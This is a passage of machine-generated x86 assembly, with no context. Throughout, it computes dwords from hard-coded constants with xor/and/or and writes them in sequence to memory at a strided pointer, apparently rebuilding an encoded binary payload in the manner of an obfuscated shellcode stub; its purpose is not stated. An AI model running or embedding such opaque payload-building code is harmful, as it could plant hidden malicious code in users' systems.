mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2371e75b
and eax, 0x7c2c241
or eax, 0xe0282028
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e434bce
and eax, 0x89290980
or eax, 0x36065200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x574bb31c
and eax, 0x48604088
or eax, 0x11100023
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56fe71c5
and eax, 0x9863146
or eax, 0xc0410a81
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c1a2afc
xor eax, 0xe2e1cfa
and eax, 0x18110d40
or eax, 0x408101a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79676210
and eax, 0x6c3f1c40
or eax, 0x8000a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x635b9d68
and eax, 0x601a0860
or eax, 0xd44e202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c2dd935
and eax, 0x1132151
or eax, 0x260c0c08
mov dword [ebx], eax
add ebx, ecx
and eax, 0xeae1499
and eax, 0x6020401
or eax, 0xd8b05bc2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x12bfb4b0
xor eax, 0x50a9a505
and eax, 0x10244e16
or eax, 0x61590108
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4488ac65
or eax, 0x7b3bf444
and eax, 0x3b031c04
or eax, 0xc403b9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf22adfd
and eax, 0x7da39d75
and eax, 0x34218000
or eax, 0x4b502ea9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2081c784
and eax, 0x42c0280d
or eax, 0xa1640
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6efb5d47
and eax, 0xc794e02
or eax, 0x10000b0
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbfe3979
and eax, 0x1080000
or eax, 0x920044c6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x39e5ffce
and eax, 0x7002ac5b
and eax, 0x10000042
or eax, 0xcd825aa5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6dc695d1
and eax, 0x448210c0
or eax, 0xa0682008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x761d44e9
and eax, 0x80080
or eax, 0x19107216
mov dword [ebx], eax
add ebx, ecx
and eax, 0x262dd169
and eax, 0x4000
or eax, 0x27c72342
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31b9dbec
and eax, 0x1800140
or eax, 0xce76983a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d0ae858
and eax, 0x6b5c465e
and eax, 0x484000
or eax, 0xf921a1b9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x192f8c47
and eax, 0x582da147
or eax, 0x6000200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x587c8a0a
and eax, 0x52052842
or eax, 0x21020490
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40f7b398
and eax, 0x7a52db39
and eax, 0x62120a10
or eax, 0x80a42063
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18d0c4fb
and eax, 0xc840a208
or eax, 0x4981004
mov dword [ebx], eax
add ebx, ecx
or eax, 0xdac19c5
and eax, 0x41e42908
or eax, 0x22024422
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15d647dc
and eax, 0x1b36347a
and eax, 0x202032
or eax, 0x60cd4604
mov dword [ebx], eax
add ebx, ecx
or eax, 0x795641e1
xor eax, 0x5e4f259a
and eax, 0x1104021
or eax, 0x90078410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e27a147
or eax, 0x68698130
and eax, 0x682d8101
or eax, 0x95800c0c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48b7f848
and eax, 0xb1988808
or eax, 0x24000b0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x896e43b
or eax, 0x4ee7314
and eax, 0x1b6c0485
or eax, 0x8028
mov dword [ebx], eax
add ebx, ecx
and eax, 0x434d6fb5
xor eax, 0x21c6070e
and eax, 0x2020323
or eax, 0x1111d044
mov dword [ebx], eax
add ebx, ecx
or eax, 0x381df1b
xor eax, 0x749a1ed9
and eax, 0x41080020
or eax, 0x10442408
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b86783c
and eax, 0x40028
or eax, 0x86a21e14
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e00b520
or eax, 0x778e6d23
and eax, 0x788ccb3f
or eax, 0x400080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1697ad79
or eax, 0x284657a9
and eax, 0x2042cd19
or eax, 0x80390042
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb465cbf
xor eax, 0x6bdce1ff
and eax, 0x6a8e8c80
or eax, 0x90611010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7af85d53
and eax, 0x22281410
or eax, 0x80068080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a4d4c8e
xor eax, 0x3fc791eb
and eax, 0x60244904
or eax, 0x85b8000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74b414bb
and eax, 0xc04126
or eax, 0x60202000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c63e80
and eax, 0x6264124
or eax, 0x8858a051
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32bd4cb5
or eax, 0x3760065c
and eax, 0x29890c4d
or eax, 2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1823125d
or eax, 0x2daac91b
and eax, 0x20ab4912
or eax, 0x12101600
mov dword [ebx], eax
add ebx, ecx
and eax, 0x36d6e60e
and eax, 0x20120402
or eax, 0x8069a0f8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c5e0fb2
and eax, 0x8c202340
or eax, 0x41d254a7
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a63726f
xor eax, 0x5619e39d
and eax, 0x4c191032
or eax, 0x80800204
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2cad1e4d
and eax, 0x100828
or eax, 0x19497200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5003fa81
and eax, 0x10016200
or eax, 0xe3640477
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20b4a2cd
and eax, 0x202205
or eax, 0x4c989400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x81b3352
and eax, 0x8180200
or eax, 0x44444153
mov dword [ebx], eax
add ebx, ecx
or eax, 0x264c6d5
and eax, 0x44380106
or eax, 0xb1803028
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf883c1a
xor eax, 0x8fc85e
and eax, 0x5c000
or eax, 0x3ae00109
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60746a6a
and eax, 0x20644000
or eax, 0x8500a781
mov dword [ebx], eax
add ebx, ecx
and eax, 0x593a6c7c
and eax, 0x1004400
or eax, 0xdac39281
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d4bd18e
and eax, 0x47084287
or eax, 0x342850
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4cf9c5ec
and eax, 0x44f88cdf
and eax, 0xc00408
or eax, 0x9b246360
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d42c0f0
and eax, 0x26072ea9
and eax, 0x220400a8
or eax, 0x58315803
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51623d9e
and eax, 0x2600481
or eax, 0x80888040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10927d3b
xor eax, 0x1072afd0
and eax, 0x8080520a
or eax, 0x1228980
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30674368
and eax, 0x118098c0
or eax, 0x440a2514
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79fe447c
and eax, 0x6ec35cb2
and eax, 0x28c04020
or eax, 0x8339a103
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe0cff36
and eax, 0xa082100
or eax, 0xb4761a18
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x72e1be80
or eax, 0x44cee40
and eax, 0x8c07ca98
or eax, 0x31200002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66f0ba76
or eax, 0x22e968e
and eax, 0x22e029c
or eax, 0xd0902140
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3fd83bb6
and eax, 0x2100194
or eax, 0x6547140a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18ff6bcb
and eax, 0x8882e44
or eax, 0x801781aa
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f952215
and eax, 0x530288b8
or eax, 0x100004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5fdc4dee
or eax, 0x3f540fa4
and eax, 0x8100888
or eax, 0x80a08041
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65a41c43
and eax, 0x41108880
or eax, 0x12020034
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64167e5d
and eax, 0x88c9
or eax, 0x88c80000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b49909a
and eax, 0x13000840
or eax, 0x4012808c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x416933b
and eax, 0x88c9
or eax, 0x88c00000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x741ed27b
or eax, 0x24a5590d
and eax, 0x4a58844
or eax, 0x5b180080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33d687a6
xor eax, 0x78922196
and eax, 0x10212854
or eax, 0x41065108
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24642fff
and eax, 0x7c396ee5
and eax, 0x60010681
or eax, 0x88969112
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4916a955
xor eax, 0x600732d4
and eax, 0x281120c0
or eax, 0x858c0438
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ce7c392
and eax, 0x2f4a6d03
and eax, 0xc000000
or eax, 0x5eeb9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x89fff7d
and eax, 0x4876844
or eax, 0x52200002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6099e815
and eax, 0xc84e78a
and eax, 0x80c002
or eax, 0x80211749
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5806fc05
xor eax, 0x39dfaca1
and eax, 0x219270a0
or eax, 0xc000861b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf385b17
and eax, 0xe0a8ac88
or eax, 0x11510003
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x455a750c
or eax, 0x1c6e528f
and eax, 0xa00a4083
or eax, 0x41102420
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c34bca4
and eax, 0x52fd9bd9
and eax, 0x89000
or eax, 0x5b9360cc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b6027a4
and eax, 0x6da5714d
and eax, 0x14140
or eax, 0x961c0433
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1048b178
and eax, 0x10000140
or eax, 0xa5e7c282
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b904851
and eax, 0x48e2d94b
and eax, 0x800000
or eax, 0x9e6c23ae
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c5a1e3a
or eax, 0x74a2841c
and eax, 0x54869480
or eax, 0x1484262
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1260f7ff
or eax, 0x4775d208
and eax, 0x3f6f118
or eax, 0xb00004c2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x331075ba
and eax, 0x2310248a
or eax, 0x40658261
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5cd595bb
and eax, 0x15203010
or eax, 0xc048080f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72207be0
and eax, 0x465e8211
and eax, 0x40000000
or eax, 0x1b1f4a83
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a09d345
and eax, 0x42185b81
or eax, 0x800438
mov dword [ebx], eax
add ebx, ecx
or eax, 0x35f76962
and eax, 0x2117a0be
and eax, 0x1030008
or eax, 0xd6684440
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c452ab5
and eax, 0x10000
or eax, 0x7a90e9d5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x59316cfe
and eax, 0x542eaca
and eax, 0x8c0
or eax, 0x51fd963f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a275d5
and eax, 0x4bbb3f5
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5711d6b4
and eax, 0x74828724
or eax, 0x88000808
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x431b0dd0
or eax, 0x2a9fc1cc
and eax, 0x981c3fc
or eax, 0x40400803
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e1d28db
and eax, 0x96c7210
and eax, 0x10c6200
or eax, 0xbcb01971
mov dword [ebx], eax
add ebx, ecx
or eax, 0x624f8475
and eax, 0x449bee34
or eax, 0x88
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc7a9893
and eax, 0x80
or eax, 0x8884142a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2414786e
and eax, 0xb238273
and eax, 0x8000040
or eax, 0x6afa309
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x731eb15
xor eax, 0x753dcd24
and eax, 0x70a28428
or eax, 0x82542207
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6401a656
or eax, 0x4f5ded82
and eax, 0x8088080
or eax, 0x80800041
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6eaccd97
or eax, 0xeec3e61
and eax, 0x46a82835
or eax, 0x11118088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14dfaaf1
xor eax, 0x6826eb82
and eax, 0x2cc8410e
or eax, 0x8026b600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f9f258e
or eax, 0x801b326
and eax, 0xca6063a0
or eax, 0x24020400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29e857e0
and eax, 0x204006a0
or eax, 0x1307905d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49ecfa9c
or eax, 0x2a2e43d5
and eax, 0x78a161b4
or eax, 0x8150000a
mov dword [ebx], eax
add ebx, ecx
and eax, 0xefe8adb
and eax, 0x8e0009a
or eax, 0xe701d940
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e2af9a5
or eax, 0x62dc8951
and eax, 0x81c42950
or eax, 0x1600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x708b86c3
and eax, 0x6a3eb14b
and eax, 0x8101
or eax, 0x11404a90
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6dd79b57
xor eax, 0xb90eeb5
and eax, 0x44002e11
or eax, 0x88b00004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74d22cfc
and eax, 0x2c00
or eax, 0x806c1c9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21b633a9
or eax, 0x6cf713d0
and eax, 0x49c38b00
or eax, 0x82000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f021669
and eax, 0x2020000
or eax, 0x140de1db
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55aa6f48
and eax, 0x10080148
or eax, 0xc0859806
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5384fb2b
and eax, 0x50048802
or eax, 0xb000055
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3607e08b
xor eax, 0x58eedcba
and eax, 0x4a13444
or eax, 0x18044300
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24ae73a0
xor eax, 0x715fc92f
and eax, 0x7403b00c
or eax, 0x82044010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x493429d0
and eax, 0xd915a150
or eax, 0xc00023
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3749a995
and eax, 0xf6912815
or eax, 0x5408
mov dword [ebx], eax
add ebx, ecx
and eax, 0x35f94d74
and eax, 0x34000800
or eax, 0x4168a22b
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe433ea1
xor eax, 0x6e37be00
and eax, 0xa528420
or eax, 0x118868dc
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c12caf5
and eax, 0x73e8b819
and eax, 0x8810
or eax, 0x939477e3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e01b60c
xor eax, 0xe9c2c6
and eax, 0xc300b08
or eax, 0x2815444
mov dword [ebx], eax
add ebx, ecx
or eax, 0x545e44e0
and eax, 0x5ed40120
or eax, 0xa1000003
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3fcd3168
or eax, 0x73ddec5a
and eax, 0x2210690a
or eax, 0x20081
mov dword [ebx], eax
add ebx, ecx
or eax, 0x446780a2
or eax, 0x48048caf
and eax, 0xc178121
or eax, 0x90881250
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22aa2baf
and eax, 0x9a3190c8
or eax, 0x1820101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8239be2
and eax, 0x13000208
or eax, 0x44086144
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10191346
and eax, 0x80140
or eax, 0xe371341b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x52ca703b
or eax, 0x8a10abe
and eax, 0xa090088
or eax, 0x25048400
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe611dc5
and eax, 0x8010080
or eax, 0x80789124
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6708c23
and eax, 0x708000
or eax, 0x3c047d0a
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb81b45f
and eax, 0xa
or eax, 0x652f02f4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x272b4872
and eax, 0x42004a0c
or eax, 0xa480b061
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cca34dc
or eax, 0x634087
and eax, 0x24200009
or eax, 0x981c0720
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2cef7e8e
or eax, 0x4d6c664a
and eax, 0xd5a713a0
or eax, 0x20008010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f1d6bf5
xor eax, 0x1562dd74
and eax, 0xabd80020
or eax, 0x400288c2
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb0168fc
and eax, 0x138e1755
and eax, 0x2820044
or eax, 0xbc342509
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf354b4c
and eax, 0x41f3ff76
and eax, 0x36400
or eax, 0xf83880ee
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ac0e61e
and eax, 0x2006
or eax, 0x82ff0821
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f143e
or eax, 0x6a463330
and eax, 0x2a7e0501
or eax, 0x11004040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54993d70
and eax, 0x10080000
or eax, 0xc0434237
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6752b5ef
and eax, 0x9549c6dd
or eax, 0x8a40000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5aa51051
and eax, 0x1fed5658
or eax, 0x20020122
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2dae6540
or eax, 0x773bb1b
and eax, 0x20767213
or eax, 0x40000020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2bd9357c
or eax, 0x6f51be10
and eax, 0x4dd76a49
or eax, 0x100000a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5dd658fb
and eax, 0x44940088
or eax, 0xa021b514
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f7ee42
and eax, 0x77d47faf
and eax, 0x4100588e
or eax, 0x84a430
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c548e32
xor eax, 0x37ab5679
and eax, 0x620804d5
or eax, 0x8400c200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bd343d2
and eax, 0x2b2d063d
and eax, 0x20000000
or eax, 0x54b1f1c5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14f020d7
and eax, 0x10b00103
or eax, 0x830e0628
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e98f1f6
and eax, 0x90494c9
or eax, 0x42880822
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75189ee3
xor eax, 0x30784f1c
and eax, 0xe280c14
or eax, 0xd010b040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x53ee375b
xor eax, 0x18c8be1
and eax, 0x841200e2
or eax, 0x1005ad11
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6373bac7
and eax, 0x66e3891e
and eax, 0x42228800
or eax, 0x998c26a9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd3fc8a1
xor eax, 0x2a7df46d
and eax, 0xe4808041
or eax, 0x3012188
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27b77d78
or eax, 0x7630683f
and eax, 0x64b00867
or eax, 0x80448600
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd736a54
and eax, 0x100004
or eax, 0x92829490
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20ce3e73
and eax, 0x3006acd6
or eax, 0x9200100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62f7b2dc
or eax, 0x212ee37d
and eax, 0x9ccca3
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f6195f4
xor eax, 0x78a30b9a
and eax, 0x48a3870a
or eax, 0x86406081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a315e77
and eax, 0x48004602
or eax, 0x850e2134
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55a37242
xor eax, 0x51bb040
and eax, 0x40088000
or eax, 0x82462018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbafe7c
xor eax, 0x48457415
and eax, 0x8a912a10
or eax, 0x55069180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e4c7c13
xor eax, 0x799a6549
and eax, 0x90402200
or eax, 0x2321024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4840c654
xor eax, 0x4d9e1106
and eax, 0x96e42310
or eax, 0x20020005
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7ffbd873
and eax, 0x6f6b5805
or eax, 0x408
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2de8bb52
and eax, 0x23639c5c
or eax, 0x140000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x595d20e5
xor eax, 0xe6c09ef
and eax, 0x10429516
or eax, 0x8b2842a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c4ea66
or eax, 0x7bdd734b
and eax, 0x19808245
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d3dbcb3
and eax, 0x1008001
or eax, 0x54a92a08
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3931c8d6
xor eax, 0x2b14acb1
and eax, 0xa010480
or eax, 0xc1489108
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b51f7f0
and eax, 0x121842f0
or eax, 0x4240002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1512e4ca
or eax, 0x4a29d68b
and eax, 0x490be028
or eax, 0x4c00004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53202d0e
and eax, 0x49a0842e
or eax, 0x41041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b8a01ac
xor eax, 0x38345742
and eax, 0x10a4122a
or eax, 0x42022891
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33133e5b
and eax, 0x53050a3a
or eax, 0x40c004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b88c5da
and eax, 0x30c906e4
or eax, 0x8722301a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15bc7644
and eax, 0x14882604
or eax, 0xc050c110
mov dword [ebx], eax
add ebx, ecx
or eax, 0x604afc55
and eax, 0x709a5455
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x91cb724
and eax, 0x41801745
or eax, 0x80200808
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1510618d
and eax, 0x74d68d41
and eax, 0x10100400
or eax, 0x2b4db2b4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2424464e
xor eax, 0x20d14896
and eax, 0xd10a92
or eax, 0x5108b160
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a141a94
and eax, 0xac5d6f3
and eax, 0x2809262
or eax, 0xc5026c01
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62848002
and eax, 0x61842242
or eax, 0x50009c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63a274cb
and eax, 0x62f0540e
or eax, 0x84088920
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b050381
xor eax, 0x27805283
and eax, 0xa0208808
or eax, 0x14801112
mov dword [ebx], eax
add ebx, ecx
and eax, 0x453d7c80
and eax, 0x17a511dd
and eax, 0x4001000
or eax, 0xb15a42a7
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b900420
and eax, 0xb28a4081
or eax, 0x240150
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8248386
xor eax, 0x46370bf2
and eax, 0x42030232
or eax, 0xa1eca08c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65aad8e2
or eax, 0x6497738c
and eax, 0x467b51ee
or eax, 0x10000401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33106756
xor eax, 0x229ee7ef
and eax, 0x47001544
or eax, 0x8020a09
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c127277
xor eax, 0x699a501a
and eax, 0x4a820c20
or eax, 0x81710093
mov dword [ebx], eax
add ebx, ecx
and eax, 0x91a1837
and eax, 0x1120012
or eax, 0x448a60c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d69e7b7
and eax, 0x902c699
or eax, 0x82041840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a762aa
and eax, 0x4288
or eax, 0xd5a81527
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32b84c01
and eax, 0xc430130c
or eax, 0x8038050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44cba175
and eax, 0x88b13039
or eax, 0x11000480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56b54617
and eax, 0xdfa56621
or eax, 0x4a8840
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14141029
and eax, 0x48f9a008
or eax, 0x140401a3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e66ffb7
and eax, 0x42020a2
or eax, 0xd0924600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b409391
and eax, 0x9eb2e502
or eax, 0xc0ac4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1445beb0
and eax, 0x20b1002
or eax, 0x500a009
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69db138b
and eax, 0xb13194f
and eax, 0x1021003
or eax, 0x28c8eb4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15032b41
and eax, 0x1000000
or eax, 0xfec4c496
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c4d59ec
and eax, 0x20a27b45
and eax, 0x1940
or eax, 0x5a272609
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d250804
and eax, 0xa261b41
or eax, 0x20004032
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e2a4472
and eax, 0x8000002
or eax, 0xe5c10908
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ce85024
and eax, 0x44400000
or eax, 0x11159ddd
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a7c91ff
and eax, 0x4b358567
or eax, 0xa0826200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x633c4afa
xor eax, 0x1a34f96d
and eax, 0x74460
or eax, 0x4440230b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x347e711c
and eax, 0x10111020
or eax, 0x8b424000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53710f0b
and eax, 0x8151090b
or eax, 0x208ca090
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4bdd667
xor eax, 0x63d85f3a
and eax, 0x86010001
or eax, 0x119a1b28
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32c38db6
and eax, 0x3657ea38
and eax, 0x12030820
or eax, 0xadb03397
mov dword [ebx], eax
add ebx, ecx
and eax, 0x67b66a15
and eax, 0x24302815
or eax, 0xc04c54a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4baa391
xor eax, 0x178012fc
and eax, 0x10b80029
or eax, 0x6c074502
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21402358
and eax, 0x451d0450
or eax, 0xa0000088
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5cd320a
and eax, 0x56eb7168
and eax, 0x800040
or eax, 0x60b849e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x111f3627
and eax, 0x20004
or eax, 0x6530c9b0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x583ae045
and eax, 0x31080150
or eax, 0xc045440a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x175e382f
and eax, 0x44024074
or eax, 0x940008a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7616be95
and eax, 0x66f516d3
and eax, 0x90
or eax, 0x1825736b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6366b3ea
and eax, 0x542fa5fb
and eax, 0x200140
or eax, 0x62408000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1fe46b80
xor eax, 0x14b738cf
and eax, 0x201c006
or eax, 0x4802890
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d1544af
or eax, 0x6f1efc60
and eax, 0x46006022
or eax, 0x600101
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc9e8321
and eax, 0x2282002
or eax, 0x21000cd4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7decf36c
and eax, 0x6003d570
and eax, 0x9520
or eax, 0xac1508c9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x564090f0
and eax, 0x40080a0
or eax, 0xd8304f09
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2efc96ac
